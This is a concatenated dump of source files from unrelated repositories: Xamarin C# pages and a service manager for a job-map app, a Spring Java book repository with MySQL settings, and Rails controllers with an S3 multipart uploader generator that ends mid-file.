[XamlCompilation(XamlCompilationOptions.Compile)] public partial class NewJobDate : NewJobNavSimpleAbstr { public NewJobDate(Job job) : base(job) { Title = "Date"; Label = "When?"; } protected override void NextPage(object sender, EventArgs e) { Job.Schedlue = Entry; if(string.IsNullOrEmpty(Job.Schedlue)) { DisplayAlert("Missing Value ", "Enter info about date and time!", "OK"); return; } Navigation.PushAsync(new NewJobContacts(Job)); } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using Xamarin.Forms.Internals; namespace Jobify.Services { public abstract class Service { public abstract void Init(); } public sealed class ServiceManager { //Variables //(add services types here - they have to extend Service) private static Dictionary<Type, Service> Services { get; set; } = new Dictionary<Type, Service>() { {typeof(JobService) , null}, {typeof(UserService) , null}, {typeof(JobTypeService) , null}, }; //Constructor private ServiceManager() { //instantiating all services Services = Services .Select(service => new KeyValuePair<Type, Service>(service.Key, (Service)Activator.CreateInstance(service.Key))) .ToDictionary(kvp => kvp.Key, kvp => kvp.Value); } public static T GetService<T>() where T : Service{ return (T)Instance.getService(typeof(T)); } private Service getService(Type type) { try { return Services[type]; }catch(KeyNotFoundException e) { Console.WriteLine("No such service found!"); throw e; } } static ServiceManager() { } public static ServiceManager Instance { get; } = new ServiceManager(); public static void Init() { Services.ForEach(s => s.Value.Init()); } } } <file_sep>using Jobify.Shared.Models; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace Jobify.Pages.NewJob { [XamlCompilation(XamlCompilationOptions.Compile)] public abstract partial class NewJobNavAbstr : ContentPage { public Job Job { get; set; } protected StackLayout StackLayout { get { return SLayout; } } public NewJobNavAbstr(Job Job) { InitializeComponent(); this.Job = Job; var next_button = new ImageButton() { Source = "next.png", BackgroundColor = new Color(0, 0, 0, 0), }; next_button.Clicked += NextPage; RLayout.Children.Add(next_button, Constraint.RelativeToParent(rl => rl.Width - rl.Width * 0.03 - rl.Width * 0.12), Constraint.RelativeToParent(rl => rl.Height - rl.Width * 0.03 - rl.Width * 0.12), Constraint.RelativeToParent(rl => rl.Width * 0.12), Constraint.RelativeToParent(rl => rl.Width * 0.12)); ToolbarItems.Add(new ToolbarItem("Exit", "x.png", async () => { await Navigation.PopToRootAsync(); })); } protected abstract void NextPage(object sender, EventArgs e); } }<file_sep>using Jobify.Shared.Models; using Jobify.Services; using System; using System.ComponentModel; using System.Reflection; using Xamarin.Forms; using Xamarin.Forms.GoogleMaps; using Xamarin.Forms.Xaml; using Jobify.Map; using Jobify.Pages.NewJob; namespace Jobify.Pages { [DesignTimeVisible(false)] [XamlCompilation(XamlCompilationOptions.Compile)] public partial class MapPage : ContentPage { public MapPage() { InitializeComponent(); SetButtons(); MapInitializer.StyleMap(MainMap); UpdateMap(); MessagingCenter.Subscribe<EventArgs>(this, "RefreshData", args => { UpdateMap(); }); } void SetButtons() { var hamburger_button = new ImageButton() { Source = "hamburger.png", BackgroundColor = new Color(0, 0, 0, 0), }; hamburger_button.Clicked += HamburgerButtonClicked; RLayout.Children.Add(hamburger_button, Constraint.RelativeToParent(rl => rl.Width * 0.03), Constraint.RelativeToParent(rl => rl.Width * 0.03), Constraint.RelativeToParent(rl => rl.Width * 0.1), Constraint.RelativeToParent(rl => rl.Width * 0.1)); /*TODO wtf did this do? * var filter_button = new ImageButton() { Source = "suitcase.png", BackgroundColor= new Color(0, 0, 0, 0) }; RLayout.Children.Add(filter_button, Constraint.RelativeToParent(rl => rl.Width - rl.Width * 0.04 - rl.Width * 0.08), Constraint.RelativeToParent(rl => rl.Width * 0.05), Constraint.RelativeToParent(rl => rl.Width * 0.08), Constraint.RelativeToParent(rl => rl.Width * 0.065)); */ var location_button = new ImageButton() { Source = "target.png", BackgroundColor = new Color(0, 0, 0, 0), }; location_button.Clicked += LocationButtonClicked; RLayout.Children.Add(location_button, Constraint.RelativeToParent(rl => rl.Width - rl.Width * 0.03 - rl.Width * 0.1), Constraint.RelativeToParent(rl => rl.Height - rl.Width * 0.03 - rl.Width * 0.1), Constraint.RelativeToParent(rl => rl.Width * 0.1), Constraint.RelativeToParent(rl => rl.Width * 0.1)); var new_job_button = new ImageButton() { Source = "plus.png", BackgroundColor = new Color(0, 0, 0, 0), }; new_job_button.Clicked += NewJobButtonClicked; RLayout.Children.Add(new_job_button, Constraint.RelativeToParent(rl => rl.Width * 0.05), Constraint.RelativeToParent(rl => rl.Height - rl.Width * 0.03 - rl.Width * 0.1), Constraint.RelativeToParent(rl => rl.Width * 0.1), Constraint.RelativeToParent(rl => rl.Width * 0.1)); } async void UpdateMap() { MainMap.Pins.Clear(); await MapInitializer.CenterOnUserAsync(MainMap); MainMap.InfoWindowClicked += InfoWindowClicked; //adding pins where jobs are ServiceManager.GetService<JobService>().GetAllJobs() .ForEach(job => { var pin = new Pin() { Label = job.Title, Position = job.Location, BindingContext = job, Icon = BitmapDescriptorFactory.FromBundle("map_pin") }; MainMap.Pins.Add(pin); }); } private void InfoWindowClicked(object sender, InfoWindowClickedEventArgs e) { var job = (Job)e.Pin.BindingContext; Navigation.PushAsync(new JobPage(job)); } void NewJobButtonClicked(object sender, EventArgs e) { Navigation.PushAsync(new NewJobType(new Job())); } void HamburgerButtonClicked(object sender, EventArgs e) { MessagingCenter.Send(EventArgs.Empty, "OpenMenu"); } async void LocationButtonClicked(object sender, EventArgs e) { var user_location = await Xamarin.Essentials.Geolocation.GetLocationAsync(); MainMap.MoveToRegion(MapSpan.FromCenterAndRadius( new Position(user_location.Latitude, user_location.Longitude), Distance.FromKilometers(20)) ); } } }
cc2fd2f90a0e2952a9654a7a387fdd0253507684
[ "C#" ]
22
C#
rjlovesu/jobify
e9e0f2f9ba595c53e249f4d6e70b771ed6088ec0
1c2427cbb8cf45e723a53aad6d3c9951275f423d
refs/heads/master
<repo_name>cakocako/Restful<file_sep>/src/main/java/com/RESTful/demo/Repositories/BookRepository.java package com.RESTful.demo.Repositories; import java.util.List; import com.RESTful.demo.Entities.Book; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.stereotype.Repository; @Repository public interface BookRepository extends JpaRepository<Book, Integer>{ List<Book> findByTitleContainingOrDescriptionContaining(String text, String textAgain); }<file_sep>/src/main/resources/application.properties spring.datasource.url=jdbc:mysql://localhost:3306/restful?serverTimezone=GMT-2 spring.datasource.username=cako spring.datasource.password=<PASSWORD> spring.jpa.hibernate.ddl-auto = create
91aa72526313c394ddef8f19efde624b2f981e6f
[ "Java", "INI" ]
2
Java
cakocako/Restful
8379b2a5157c50a580daedbdbcd98656b30ea5b1
72884964afd027ee8e37d12fe9e2a927bb078c68
refs/heads/master
<repo_name>fabiano-amaral/minicurso-2018<file_sep>/rotas/homeRota.js module.exports = (server) => { server.get("/", (request, response) => { response.send(200, { msg: "Bem vindo ao meu site" }) }) }<file_sep>/rotas/pessoasRotas.js var pessoas = [{ nome: "Luiz", idade: 20, cpf: 1, sobrenome: "encomp", }, { nome: "Yuri", idade: 21, cpf: 2, sobrenome: "encomp", }] module.exports = (server) => { server.get("/pessoas", (request, response) => { const cpf = request.query.cpf if(cpf) { const pessoasFiltradas = pessoas.filter(pessoa => pessoa.cpf == cpf) response.send(pessoasFiltradas) } else { response.send(pessoas) } }) server.get("/pessoas/:pos", (request, response) => { const posicao = request.params.pos if(posicao <= pessoas.length) { response.send(pessoas[request.params.pos - 1]) } else { response.send(400, { error: "indice nao pode ser acessado" }) } }) server.post("/pessoas", (req, res) => { const pessoa = req.body.pessoa if(pessoa) { const tamanho = pessoas.push(pessoa) res.send({ quantidadeDePessoas: tamanho, novoVetor: pessoas }) } else { res.send({ error: "nenhuma pessoa enviada" }) } }) }<file_sep>/index.js const restify = require('restify') const homeRota = require('./rotas/homeRota') const pessoasRota = require('./rotas/pessoasRotas') const server = restify.createServer() server.use(restify.plugins.queryParser()) server.use(restify.plugins.bodyParser() ) restify1 = { plugins: { queryParser: () => console.log('faca algo') } } homeRota(server) pessoasRota(server) const msgServidorOn = () => { console.log('servidor rodando...') } server.listen(3000, msgServidorOn)
dfcd147a67935230761e7947e124e90db70238ca
[ "JavaScript" ]
3
JavaScript
fabiano-amaral/minicurso-2018
12d2f700e3692aa81499ae419572b3df8f7504c3
1dcd5a37bc342bab2f6bcae0ad420447ee1101e0
refs/heads/master
<file_sep>function topView() { var _gridPanel = new Ext.grid.GridPanel({ columns : [ { header : "序号", width : 120, sortable : true, dataIndex : 'picid' }, { header : "图号", width : 120, sortable : true, dataIndex : 'picid' }, { header : "零件名称", width : 120, sortable : true, dataIndex : 'name' }, { header : "总数量", width : 120, sortable : true, dataIndex : 'total' }, { header : "计量单位", width : 120, sortable : true, dataIndex : 'unit' }, { header : "保存单位", width : 120, sortable : true, dataIndex : 'savePlace' }, { header : "产品来源", width : 120, sortable : true, dataIndex : 'from' }, { header : "物料形态", width : 120, sortable : true, dataIndex : 'state' }, { header : "备注", width : 120, sortable : true, dataIndex : 'mask' } ], viewConfig : { forceFit : true }, sm : new Ext.grid.RowSelectionModel({ singleSelect : true }), width : 1200, height : 300, iconCls : 'icon-grid' }); var topPanel = new Ext.Panel({ style : 'margin-left:102px; margin-top:10px; margin-bottom:10px', layout : 'column', width : '1200', autoHeight : true, items : [ { columnWidth : .5, layout : 'form', labelWidth : 100, labelAlign : "left", baseCls : "x-plain", labelAlign : "left", items : [ { fieldLabel : '项目名称', xtype : 'combo' } ] }, { columnWidth : .5, layout : 'form', labelWidth : 100, labelAlign : "left", baseCls : "x-plain", labelAlign : "left", items : [ { fieldLabel : '任务编号', xtype : 'combo' } ] }, { clumnWidth : 1, colspan : 2, layout : 'form', labelWidth : 100, labelAlign : "left", baseCls : "x-plain", labelAlign : "left", items : [ _gridPanel ] }, { columnWidth : .5, layout : 'form', labelWidth : 100, labelAlign : "left", baseCls : "x-plain", labelAlign : "left", items : [ { fieldLabel : '图号', xtype : 'textfield' }, { fieldLabel : '类别', xtype : 'combo' }, { fieldLabel : '数量', xtype : 'textfield' }, { fieldLabel : '保存期', xtype : 'textfield' }, { fieldLabel : '产品来源', xtype : 'textfield' }, { fieldLabel : '物料形态', xtype : 'textfield' } ] }, { columnWidth : .5, layout : 'form', labelWidth : 100, labelAlign : "left", baseCls : "x-plain", labelAlign : "left", items : [ { fieldLabel : '零件名称', xtype : 'textfield' }, { fieldLabel : '残次品标识', xtype : 'combo' }, { fieldLabel : '计量单位', xtype : 'textfield' }, { fieldLabel : '保存单位', xtype : 'combo' }, { fieldLabel : '备注', xtype : 'textfield' }, { fieldLabel : '备注', xtype : 'textfield' } ] } ] }); return topPanel; } function mainView() { var _topPanel = topView(); var mainPanel = new Ext.form.FormPanel({ title : "入库电子流处理", height : 600, width : 1200, labelWidth : 100, labelAlign : "left", style : 'margin-top:10px;', buttonAlign : 'left', frame : true, defaults : { xtype : "textfield", width : 600 }, items : [ _topPanel, { name : "operate", fieldLabel : "选择您要的操作" }, { name : "operateUser", fieldLabel : "处理人员" }, { name : "copyUser", fieldLabel : "抄送人员" }, { xtype : "textarea", name : "mask", height : 50, fieldLabel : "批注" } ], buttons : [ { text : "提交" }, { text : "取消" } ] }); mainPanel.render("main_id"); } function initview() { mainView(); }; Ext.onReady(initview);
8029deb75f4b56f7f40e1ef43e8356acf24330f9
[ "JavaScript" ]
1
JavaScript
skyfeng530/myerp
3b8c3d4637c9f712e88293e5be10f1ef759e9197
04eff183668c2ed736e8027273378c518da30186
refs/heads/develop
<repo_name>lalogf/capitan<file_sep>/app/controllers/users/sessions_controller.rb class Users::SessionsController < Devise::SessionsController def after_sign_in_path_for(resource) resource.applicant? ? selection_url : resource.employer? ? employer_dashboard_coders_url : resource.group_id = 15 ? show_track_url(2) : show_track_url(1) end end <file_sep>/app/controllers/teacher/dashboard_controller.rb class Teacher::DashboardController < ApplicationController before_action do check_allowed_roles(current_user, ["assistant","teacher","admin"]) end layout "teacher" def class_stats end def students end def teacher_stats end def grades_filters @branches = Branch.all @soft_skills = SoftSkill.stypes render 'grades_filter' end def grades_input if request.post? p params params[:input][:grades].each { |user_id,grades| grades.each { |page_id,grade| submission = Submission.find_or_initialize_by(user_id: user_id,page_id:page_id) submission.points = grade.first submission.save } } params[:page_id] = params[:input][:page_id] params[:sprint_id] = params[:input][:sprint_id] params[:lesson_id] = params[:input][:lesson_id] params[:group_id] = params[:input][:group_id] end @sprint = Sprint.find(params[:sprint_id]) @group = Group.find(params[:group_id]) @lesson = SprintPage. joins(:page => :lesson). where("sprint_id = ? and coalesce(sprint_pages.points,pages.points) > 1 and lessons.id = ?",params[:sprint_id],params[:lesson_id]). pluck("pages.id","coalesce(sprint_pages.points,pages.points) as points","pages.title","lessons.title","pages.page_type"). group_by { |e| e[3] }.first @users = User.includes(:profile).where(group_id: params[:group_id], role: 1, disable:false) @submissions = Submission.where(user_id: @users.map { |u| u.id }).map { |s| [s.page_id,s.user_id,s.points]} end def grades_softskill if request.post? for i in 0..params[:input][:users].size params[:input][:grades].each { |k,v| submission = SoftSkillSubmission.find_or_initialize_by(user_id: params[:input][:users][i],soft_skill_id:k) submission.points = v[i] submission.save } end params[:sprint_id] = params[:input][:sprint_id] params[:group_id] = params[:input][:group_id] params[:stype] = params[:input][:stype] end @sprint = Sprint.find(params[:sprint_id]) @group = Group.find(params[:group_id]) @softskill = SoftSkill.stypes.keys[0].capitalize @soft_skills = SprintSoftSkill.where(sprint_id:params[:sprint_id]).joins(:soft_skill). where("soft_skills.stype":params[:stype]). pluck_to_hash("soft_skills.id as id","soft_skills.name as name","coalesce(sprint_soft_skills.points,soft_skills.max_points) as points") @users = User.includes(:profile).where(group_id: params[:group_id], role: 1, disable:false) @submissions = SoftSkillSubmission.where(sprint_id:params[:sprint_id],user_id: @users.map { |u| u.id }).map { |s| [s.user_id,s.soft_skill_id,s.points]} end def grades_filter status, message = "ok", "success" begin case params[:filter] when "group" result = Group.where(branch_id: params[:options][:branch_id]).pluck(:id, :name) when "sprint" result = Sprint.where(group_id: params[:options][:group_id]).pluck(:id,:name) when "lesson" result = Sprint.find(params[:options][:sprint_id]).lessons.pluck(:id,:title) end rescue => error error.backtrace status = "fail" message = "No pudimos obtener el filtro solicitado" end render :json => { status: status, message: message, data: result } end def assistance end def sprints end def recomendations end end
ac68e770ae644bab655484e6dc18886951248c68
[ "Ruby" ]
2
Ruby
lalogf/capitan
104a2896d0ab559a5246b2fd24e0160d1c78c66d
e0591fe5cb65e3d7035be97b70a5c2fda9356ac1
refs/heads/master
<repo_name>AntonyHall1483/dockerfiles<file_sep>/nmap/README.md Command to build image: docker build -t nmap . Command to run container: docker run --rm -it --name=nmap nmap -Pn [port(s)] [url/ip address] Examples: # Scans google.com address and ports 80 and 443 docker run --rm -it --name=nmap nmap -Pn -p80,443 google.com # Scans google.com address and ports 80 and 443 with verbose logging docker run --rm -it --name=nmap nmap -Pn -v -p80,443 google.com # Scans a google.com ip address and ports 80 and 443 docker run --rm -it --name=nmap nmap -Pn -v -p80,443 172.16.17.32 # Scans google.com for all ports docker run --rm -it --name=nmap nmap -v google.com # Scans an entire subnet docker run --rm -it --name=nmap nmap -v 172.217.23.* <file_sep>/vlc/README.md Command to build image: docker build -t vlc . Command to run container: docker run -d \ -v /etc/localtime:/etc/localtime:ro \ --device /dev/snd \ --device /dev/dri \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -v $HOME/Projects/Docker_Persistant_Data/vlc:/root/files \ -e DISPLAY=unix$DISPLAY \ -e VDPAU_DRIVER=va_gl --name vlc \ vlc <file_sep>/nmap/Dockerfile FROM alpine:3.7 LABEL maintainer "<NAME>" RUN apk \ --update \ --no-cache \ --virtual build-dependencies \ add \ curl wget nmap ENTRYPOINT [ "nmap" ] <file_sep>/redis3/start.sh #!/usr/bin/env bash for ind in `seq 1 7`; do \ docker run -d \ -v $PWD/cluster-config.conf:/usr/local/etc/redis/redis.conf \ --name "redis-$ind" \ --net redis_cluster \ redis:3.2-alpine redis-server /usr/local/etc/redis/redis.conf; \ done echo 'yes' | docker run -i --rm --net redis_cluster ruby sh -c '\ gem install redis \ && wget http://download.redis.io/redis-stable/src/redis-trib.rb \ && ruby redis-trib.rb create --replicas 1 \ '"$(for ind in `seq 1 7`; do \ echo -n "$(docker inspect -f \ '{{(index .NetworkSettings.Networks "redis_cluster").IPAddress}}' \ "redis-$ind")"':6379 '; \ done)" <file_sep>/spotify/README.md Command to build the Spotigy container: docker build -t spotify . Command to run the container: docker run -d \ -v /etc/localtime:/etc/localtime:ro \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ --device /dev/snd:/dev/snd \ -v $HOME/projects/docker_persistant_data/spotify/.spotify/config:/home/spotify/.config/spotify \ -v $HOME/projects/docker_persistant_data/spotify/.spotify/cache:/home/spotify/spotify \ --name spotify \ spotify <file_sep>/audacity/README.md Command to build the audacity image: docker build -t audacity . Run the container with the below command: docker run -d \ -v /etc/localtime:/etc/localtime:ro \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=unix${DISPLAY}" \ -e QT_DEVICE_PIXEL_RATIO \ --device /dev/snd \ --group-add audio \ --name audacity \ audacity <file_sep>/spotify/Dockerfile FROM ubuntu:18.04 LABEL maintainer "<NAME>" RUN apt-get update && apt-get install -y \ dirmngr \ gnupg \ --no-install-recommends \ && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 931FF8E79F0876134EDDBDCCA87FF9DF48BF1C90 \ && echo "deb http://repository.spotify.com stable non-free" >> /etc/apt/sources.list.d/spotify.list \ && apt-get update && apt-get install -y \ alsa-utils \ libgl1-mesa-dri \ libgl1-mesa-glx \ spotify-client \ xdg-utils \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* ENV HOME /home/spotify RUN useradd --create-home --home-dir $HOME spotify \ && gpasswd -a spotify audio \ && chown -R spotify:spotify $HOME WORKDIR $HOME USER spotify # make search bar text better RUN echo "QLineEdit { color: #000 }" > /home/spotify/spotify-override.css ENTRYPOINT [ "spotify" ] <file_sep>/netcat/Dockerfile FROM alpine:3.7 RUN apk add --no-cache netcat-openbsd ENTRYPOINT [ "nc" ] <file_sep>/README.md A great thanks to Jessfraz for providing the inspiration. You can find Jess' complete dockerfiles list at https://github.com/jessfraz/dockerfiles Its also worth looking at the alias list she has compiled at https://github.com/jessfraz/dotfiles/blob/master/.dockerfunc <file_sep>/python-api/README.md Command to create the image: docker build -t python-api . Command to run the container: docker run -it --name python-api python-api /bin/bash Command to create new API entries: curl -i -H "Content-Type: application/json" -X POST -d '{"name":"Andrei","age":"22","occupation":"Engineer"}' http://127.0.0.1:5000/user/Andrei Command to view an entry: curl GET http://127.0.0.1:5000/user/Giorgi Command to update an existing entry: curl -i -H "Content-Type: application/json" -X PUT -d '{"name":"Andrei","age":"23","occupation":"Engineer"}' http://127.0.0.1:5000/user/Andrei <file_sep>/atom/Dockerfile FROM ubuntu:18.04 MAINTAINER <NAME> <<EMAIL>> ENV ATOM_VERSION v1.23.3 RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates \ curl \ fakeroot \ gconf2 \ gconf-service \ git \ gvfs-bin \ libasound2 \ libcap2 \ libgconf-2-4 \ libgtk2.0-0 \ libnotify4 \ libnss3 \ libxkbfile1 \ libxss1 \ libxtst6 \ libgl1-mesa-glx \ libgl1-mesa-dri \ python \ xdg-utils \ && rm -rf /var/lib/{apt,dpkg,cache,log} \ && curl -L https://github.com/atom/atom/releases/download/${ATOM_VERSION}/atom-amd64.deb -o atom.deb \ && dpkg -i atom.deb \ && rm -f atom.deb \ && apt-get clean autoclean \ && apt-get autoremove -y RUN useradd -d /home/atom -m atom && echo "atom:atom" | chpasswd && adduser atom sudo \ && apm install \ emmet USER atom #CMD ["/usr/bin/atom","-f"] # Command to use to launch instance # docker run -d -v /tmp/.X11-unix/:/tmp/.X11-unix/ \ # -v /dev/shm:/dev/shm \ ##THIS LINE IS OPTIONAL## # -v ${HOME}/.atom:/home/atom/.atom \ # -e DISPLAY \ # [IMAGE_NAME] <file_sep>/netcat/README.md Command to build image: docker build -t netcat . Command to run container and listen for tcp packets (as destination aka netcat-server): docker run -ti --rm -p 8182:8182 --name=netcat-server netcat -vvl -p 8182 Command to run container and listen for udp packets (as destination aka netcat-server) docker run -ti --rm -p 9192:9192/udp --name=netcat-server netcat -vvul -p 9192 <file_sep>/slack/Dockerfile FROM debian:sid-slim LABEL maintainer "<NAME>" ENV LC_ALL en_GB.UTF-8 ENV LANG en_GB.UTF-8 RUN apt-get update && apt-get install -y \ apt-transport-https \ ca-certificates \ curl \ gnupg \ locales \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* RUN echo "en_GB.UTF-8 UTF-8" >> /etc/locale.gen \ && locale-gen en_GB.utf8 \ && /usr/sbin/update-locale LANG=en_GB.UTF-8 # Add the slack debian repo RUN curl -sSL https://packagecloud.io/slacktechnologies/slack/gpgkey | apt-key add - RUN echo "deb https://packagecloud.io/slacktechnologies/slack/debian/ jessie main" > /etc/apt/sources.list.d/slacktechnologies_slack.list RUN apt-get update && apt-get -y install \ libasound2 \ libgtk-3-0 \ libx11-xcb1 \ libxkbfile1 \ slack-desktop \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* ENTRYPOINT ["/usr/lib/slack/slack"] <file_sep>/atom/README.md Command to build atom editor: docker build -t atom . Command to run container: docker run -d -v /tmp/.X11-unix/:/tmp/.X11-unix/ \ -v /dev/shm:/dev/shm \ ##THIS LINE IS OPTIONAL## -v ${HOME}/.atom:/home/atom/.atom \ -e "DISPLAY=unix${DISPLAY}" \ --name atom atom <file_sep>/firefox/README.md Command to build the image: docker build -t firefox . Command to run the container: docker run -itd --memory 1gb --net host --cpuset-cpus 0 -v /etc/localtime:/etc/localtime:ro -v /tmp/.X11-unix:/tmp/.X11-unix -v "${HOME}/Projects/Docker_Persistant_Data/firefox/.firefox/cache:/root/.cache/mozilla" -v "${HOME}/Projects/Docker_Persistant_Data/firefox/.firefox/mozilla:/root/.mozilla" -v "${HOME}/Downloads:/root/Downloads" -v "${HOME}/Pictures:/root/Pictures" -e "DISPLAY=unix${DISPLAY}" -e GDK_SCALE -e GDK_DPI_SCALE --device /dev/snd --device /dev/dri --name firefox firefox <file_sep>/mixxx/README.md Command to build image: docker build -t mixxx . Command to run the container: docker run -d \ -v /etc/localtime:/etc/localtime:ro \ --device /dev/snd \ --device /dev/dri \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -v $HOME/projects/Docker_Persistant_Data/mixxx:/root/music \ -e DISPLAY=unix$DISPLAY \ --name mixxx \ mixxx <file_sep>/slack/README.md Command to build the image: docker build -t slack . Command to run slack desktop app in a container: docker run --rm -it \ -v /etc/localtime:/etc/localtime:ro \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ --device /dev/snd \ --device /dev/dri \ --device /dev/video0 \ --group-add audio \ --group-add video \ -v "${HOME}/.slack:/root/.config/Slack" \ --ipc="host" \ --name slack <file_sep>/sublime-text-3/README.md Command to build sublime-text 3 image: docker build -t sublime-text-3 . Run the container and mount the local settings and your code Your code must be under $HOME/Documents, you only need to change it here: docker run -itd \ -w $HOME/Documents \ -v $HOME/projects/docker_persistant_data/sublime-text-3/.config/sublime-text-3:$HOME/.config/sublime-text-3 \ -v $HOME/projects/docker_persistant_data/sublime-text-3/Documents:$HOME/Documents \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -v $HOME/projects/docker_persistant_data/sublime-text-3/.local/share/recently-used.xbel:$HOME/.local/share/recently-used.xbel \ -e DISPLAY=$DISPLAY \ -e NEWUSER=$USER \ -e LANG=en_GB.UTF-8 \ --name sublime-text-3 \ sublime-text-3 POSSIBLE ISSUES: 'Gtk: cannot open display: :0' Try to set 'DISPLAY=your_host_ip:0' or run 'xhost +' on your host. (see: https://stackoverflow.com/questions/28392949/running-chromium-inside-docker-gtk-cannot-open-display-0) <file_sep>/keepass2/README.md Command to build keepass2 image: docker build -t keepass2 . Run the container and mount your keepass2 database file: docker run -itd \ -v /home/$USER/projects/docker_persistant_data/keepass2/DB.kdbx:/root/DB.kdbx \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -v /home/$USER/projects/docker_persistant_data/keepass2/keepass2-plugins:/usr/lib/keepass2/Plugins \ -e DISPLAY=$DISPLAY \ --name keepass2 \ keepass2 ISSUES: 'Gtk: cannot open display: :0' Try to set 'DISPLAY=your_host_ip:0' or run 'xhost +' on your host. (see: https://stackoverflow.com/questions/28392949/running-chromium-inside-docker-gtk-cannot-open-display-0) <file_sep>/keepass2/Dockerfile FROM ubuntu:18.04 LABEL maintainer "<NAME>" ENV DEBIAN_FRONTEND noninteractive RUN apt-get update && apt-get install -y \ keepass2 \ xdotool \ mono-dmcs \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* ENTRYPOINT ["/usr/bin/keepass2"] <file_sep>/wireshark/README.md Command to build the image: docker build -t wireshark . Command to run the container: docker run -d \ -v /etc/localtime:/etc/localtime:ro \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ --name wireshark \ wireshark <file_sep>/sublime-text-3/Dockerfile FROM ubuntu:18.04 LABEL maintainer "<NAME>" RUN apt-get update && apt-get -y install \ apt-transport-https \ ca-certificates \ curl \ gnupg \ locales \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* # Generate system-wide UTF-8 locale # Sublime might nag about Ascii issue w/ Package Control otherwise RUN echo "en_GB.UTF-8 UTF-8" > /etc/locale.gen && \ locale-gen && \ echo "LANG=en_GB.UTF-8" > /etc/locale.conf # Add the sublime debian repo RUN curl -sSL https://download.sublimetext.com/sublimehq-pub.gpg | apt-key add - RUN echo "deb https://download.sublimetext.com/ apt/stable/" > /etc/apt/sources.list.d/sublime-text.list # Installing the libcanberra-gtk-module gets rid of a lot of annoying error messages. RUN apt-get update && apt-get -y install \ libcanberra-gtk-module \ sublime-text \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* # In order to prevent writing as root:root in Sublime, we have to run the Sublime Text container # as the user that creates the container. Normally we do this by passing $UID. # But just passing $UID along isn't enough - Sublime has to be started by a user that exists. # By default in the container, the only user that actually exists is root. # Therefore we have to create a new user, and start Sublime as that user. # This is not possible at build time, so the /run.sh script accepts an environment # variable called $NEWUSER that creates a user and group named $USER. # Additional note: Sublime puts a lot of stuff in ~/.config, which is mounted at runtime. Without this directory being mounted, settings/packages/etc won't persist. COPY run.sh /run.sh RUN chmod +x /run.sh CMD ["/run.sh"] <file_sep>/nes/README.md NES emulator in a container Command to build image: docker build -t nes . Command to run container: docker run --rm -d \ --device /dev/snd \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ --device /dev/dri \ nes /games/zelda.rom <file_sep>/python-api/Dockerfile FROM ubuntu:18.04 LABEL maintainer "<NAME>" RUN apt-get update && apt-get -y install \ python3 \ python3-setuptools \ python3-pip \ curl \ --no-install-recommends \ && rm -rf /var/lib/apt/lists/* RUN pip3 install flask-restful COPY app.py /app.py RUN chmod +x /app.py CMD ["./app.py"] <file_sep>/libreoffice/README.md Command to build image: docker build -t libreoffice . Command to run container: docker run -d \ -v /etc/localtime:/etc/localtime:ro \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=unix$DISPLAY \ -v $HOME/Projects/Docker_Persistant_Data/libreoffice:/root/files \ -e GDK_SCALE \ -e GDK_DPI_SCALE \ --name libreoffice \ libreoffice
3392633f5b7cdbd312e8c949af732eb1f6473846
[ "Markdown", "Dockerfile", "Shell" ]
25
Markdown
AntonyHall1483/dockerfiles
253310c6763cbf3a4d994e2c940a1469230a4f11
0d599023008e7f7802180c2e392c5224e71769c9
refs/heads/master
<file_sep>/* SECTION 1: VARIABLES */ //Step 1 //Write a variables called firstName that is assigned your name as a string value. let firstName = "Luke";<file_sep>describe('Section 1, Variables', function() { describe('Step 1:', function() { it('should be a variable named firstName', function() { if(typeof firstName === 'undefined') { chai.expect(firstName).to.be.undefined; } else { chai.expect(firstName).to.a('string'); } }); it('should be assigned a string value', function() { chai.expect(firstName).to.be.a('string'); }); }); });
e6d1e775eb47b82fecef348caa5036760ba6facf
[ "JavaScript" ]
2
JavaScript
przekwas/basic-js-drills-test
c5b8e2d5c2afa4d33f4a2b9a19646be391bb5077
d74840cbca26f0a7f54d59f26140ad7383a61a27
refs/heads/main
<repo_name>xello-dev/sergetest<file_sep>/js/script2.js "use strict"; } // const answers = []; // answers[0] = prompt("Ваше имя?", ""); // answers[1] = prompt("Ваша фамилия?", ""); // answers[2] = prompt("Сколько вам лет?", ""); // document.write(answers); // const user = 'Serge'; // alert(`ПРивет,${user}`); // incr++; // decr--;
fa220cb54f5839fe48011c05a1c084e70d8c654d
[ "JavaScript" ]
1
JavaScript
xello-dev/sergetest
ab46e1a296291955ce987a58dcf613d8e6344d24
00e9902f62787b0105ff25ef678736aa41ec3a3e
refs/heads/master
<file_sep>class PagesController < ApplicationController def upload # Create a user and session user = User.find_or_create_by_id(1) session[:user_id] = user.id end end <file_sep>require 'rails/generators' module S3Multipart class UploaderGenerator < Rails::Generators::Base desc "Generates an uploader for use with the S3 Multipart gem" source_root File.expand_path("../templates", __FILE__) argument :model, :type => :string # class_option :migrations, :type => :boolean, :default => true, :description => "Create migration files" def create_uploader empty_directory("app/uploaders") empty_directory("app/uploaders/multipart") template "uploader.rb", "app/uploaders/multipart/#{model}_uploader.rb" end def create_migrations # return unless options.migrations? template "add_uploader_column_to_model.rb", "db/migrate/#{migration_time}_add_uploader_to_#{model}.rb" end private def migration_time Time.now.strftime("%Y%m%d%H%M%S") end def model_constant model.split("_").map(&:capitalize).join() end end end<file_sep># module S3Multipart # class 